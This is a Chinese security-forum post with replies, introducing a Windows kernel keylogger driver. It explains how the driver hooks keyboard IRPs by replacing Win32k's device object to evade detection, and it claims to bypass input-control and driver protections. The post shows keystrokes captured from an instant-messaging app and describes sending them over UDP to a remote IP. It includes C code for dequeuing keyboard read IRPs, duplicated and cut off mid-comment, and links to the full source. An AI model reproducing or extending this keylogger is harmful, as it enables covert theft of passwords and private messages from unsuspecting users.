首页
社区
课程
招聘
[原创]谁会不喜欢一个Windows内核键盘记录器呢(详解)
发表于: 2022-9-7 14:03 15383

[原创]谁会不喜欢一个Windows内核键盘记录器呢(详解)

2022-9-7 14:03
15383

先上链接KARLANN

之前搞过一个基于intel-vt的IO端口的键盘记录器,不过只能支持PS/2键盘,而且有点杀鸡焉用牛刀的感觉。最近在《Windows内核安全与驱动开发》的启发下,实现了一个基于IRP Hook的键盘记录器,书中的方法估计早就被防的差不多了,所以使用了不同的方式Hook IRP,算是进阶版吧,更难被察觉。实测可以过控件保护以及驱动保护。

获取某即时通讯软件的键盘输入

简单来说,键盘的输入,是通过键盘驱动(比如kbdhid.sys)通过各种方式获取到键盘硬件的数据输入,然后键盘驱动调用初始化时保存的kbdclass.sys的回调函数KeyboardClassServiceCallback,将键盘数据发送到kbdclass.sys,最后由kbdclass.sys将数据填充到之前Pending的IRP,将IRP返回到Win32k(或者保存到缓冲区内,等待IRP的到来)。

但要怎么拦截这些IRP呢,书中可以将驱动挂载到kbdclass驱动设备上,作为设备过滤驱动拦截IRP,不过这种方法太明显了。所以我选择将Win32k驱动用于读键盘数据的hKeyboard->FileObject->DeviceObject替换为Poc驱动的DeviceObject,由Poc驱动充当中间层驱动,过滤Win32k和Kbdclass的IRP。

重点在于获取这个FileObject,这个FileObject由ZwReadFile填在Irp->IrpSp->FileObject中,并且Kbdclass会在没有键盘数据时将IRP保存在它的DeviceExtension->ReadQueue链表中,虽然Kbdclass的DeviceExtension结构体没有公开,但其中大部分结构的偏移自从Windows 8开始都是不变的,所以可以找到ReadQueue链表,使用KeyboardClassDequeueRead函数(如上),取出IRP,也就取出了FileObject。

另外为支持PNP,Poc驱动会在IoCancelIrp时将FileObject->DeviceObject还原,以便于之后设备卸载。
其他的功能包括,使用libwsk库,把它的C++库做了一些调整,实现了UDP传输键盘数据的功能,以及按键映射的功能,另外增加了对x86的支持。

建议在Windows 7 x86/x64 6.1(7601)SP1 - Windows 10 x86/x64 21H1(19043.1889)环境运行

代码放在github了
github链接

PIRP
KeyboardClassDequeueRead(
    _In_ PCHAR DeviceExtension
)
/*++
 
Routine Description:
    Dequeues the next available read irp regardless of FileObject
 
Assumptions:
    DeviceExtension->SpinLock is already held (so no further sync is required).
 
  --*/
{
    ASSERT(NULL != DeviceExtension);
 
    PIRP nextIrp = NULL;
 
    LIST_ENTRY* ReadQueue = (LIST_ENTRY*)(DeviceExtension + READ_QUEUE_OFFSET_DE);
 
    while (!nextIrp && !IsListEmpty(ReadQueue)) {
        PDRIVER_CANCEL oldCancelRoutine;
        PLIST_ENTRY listEntry = RemoveHeadList(ReadQueue);
 
        //
        // Get the next IRP off the queue and clear the cancel routine
        //
        nextIrp = CONTAINING_RECORD(listEntry, IRP, Tail.Overlay.ListEntry);
        oldCancelRoutine = IoSetCancelRoutine(nextIrp, NULL);
 
        //
        // IoCancelIrp() could have just been called on this IRP.
        // What we're interested in is not whether IoCancelIrp() was called
        // (ie, nextIrp->Cancel is set), but whether IoCancelIrp() called (or
        // is about to call) our cancel routine. To check that, check the result
        // of the test-and-set macro IoSetCancelRoutine.
        //
        if (oldCancelRoutine) {
            //
                //  Cancel routine not called for this IRP.  Return this IRP.
            //
            /*ASSERT(oldCancelRoutine == KeyboardClassCancel);*/
        }
        else {
            //
                // This IRP was just cancelled and the cancel routine was (or will
            // be) called. The cancel routine will complete this IRP as soon as
            // we drop the spinlock. So don't do anything with the IRP.
            //
                // Also, the cancel routine will try to dequeue the IRP, so make the
            // IRP's listEntry point to itself.
            //
            //ASSERT(nextIrp->Cancel);
            InitializeListHead(&nextIrp->Tail.Overlay.ListEntry);
            nextIrp = NULL;
        }
    }
 
    return nextIrp;
}
PIRP
KeyboardClassDequeueRead(
    _In_ PCHAR DeviceExtension
)
/*++
 
Routine Description:
    Dequeues the next available read irp regardless of FileObject
 
Assumptions:
    DeviceExtension->SpinLock is already held (so no further sync is required).
 
  --*/
{
    ASSERT(NULL != DeviceExtension);
 
    PIRP nextIrp = NULL;
 
    LIST_ENTRY* ReadQueue = (LIST_ENTRY*)(DeviceExtension + READ_QUEUE_OFFSET_DE);
 
    while (!nextIrp && !IsListEmpty(ReadQueue)) {
        PDRIVER_CANCEL oldCancelRoutine;
        PLIST_ENTRY listEntry = RemoveHeadList(ReadQueue);
 
        //
        // Get the next IRP off the queue and clear the cancel routine
        //
        nextIrp = CONTAINING_RECORD(listEntry, IRP, Tail.Overlay.ListEntry);
        oldCancelRoutine = IoSetCancelRoutine(nextIrp, NULL);
 
        //
        // IoCancelIrp() could have just been called on this IRP.
        // What we're interested in is not whether IoCancelIrp() was called
        // (ie, nextIrp->Cancel is set), but whether IoCancelIrp() called (or
        // is about to call) our cancel routine. To check that, check the result

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-9-20 17:57 被hkx3upper编辑 ,原因:
收藏
免费 5
支持
分享
最新回复 (12)
雪    币: 248
活跃值: (1096)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
关键的libwsk代码没有提供。
2022-9-7 14:45
0
雪    币: 193
活跃值: (630)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3

这个是别人的库https://github.com/MiroKaku/libwsk,我直接编译了lib,改了它的libwsk.h和libwsk.c:把所有函数声明加上了前缀extern "C" 

最后于 2022-9-7 14:55 被hkx3upper编辑 ,原因:
2022-9-7 14:53
0
雪    币: 3660
活跃值: (3228)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
为啥我找不到这个
修改global.h中的POC_IP_ADDRESS(SocketTest所在电脑的IP)和POC_UDP_PORT
2022-9-7 16:18
0
雪    币: 738
活跃值: (476)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
wonghouleong 为啥我找不到这个[em_15] 修改global.h中的POC_IP_ADDRESS(SocketTest所在电脑的IP)和POC_UDP_PORT

main/global.h 有把:


2022-9-7 16:30
0
雪    币: 3660
活跃值: (3228)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
pengge main/global.h 有把:
的确是,我跑去Releases下源码了
2022-9-7 16:48
0
雪    币: 1671
活跃值: (215817)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
7
好家伙 号没了
2022-9-7 17:52
0
雪    币: 631
活跃值: (3006)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
8
mark学习
2022-9-12 10:59
0
雪    币: 225
活跃值: (551)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
9
最后的系统测试是怎么去批量测试的啊?
2022-9-25 15:11
0
雪    币: 193
活跃值: (630)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
zhimian 最后的系统测试是怎么去批量测试的啊?

啊,我手动一个一个测试的

最后于 2022-9-25 19:09 被hkx3upper编辑 ,原因:
2022-9-25 17:09
0
雪    币: 42
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
11
动手试了一下,以此为基础实现了一个简单的屏蔽crtl + alt + del的组合按键的功能。但是还是不清楚其中的原理,我太菜了
2023-10-18 16:03
0
雪    币: 1802
活跃值: (4000)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
感谢分享
2024-3-13 09:55
0
雪    币: 215
活跃值: (44)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
这会不会被杀掉杀掉?
2024-3-13 10:02
0
游客
登录 | 注册 方可回帖
返回
//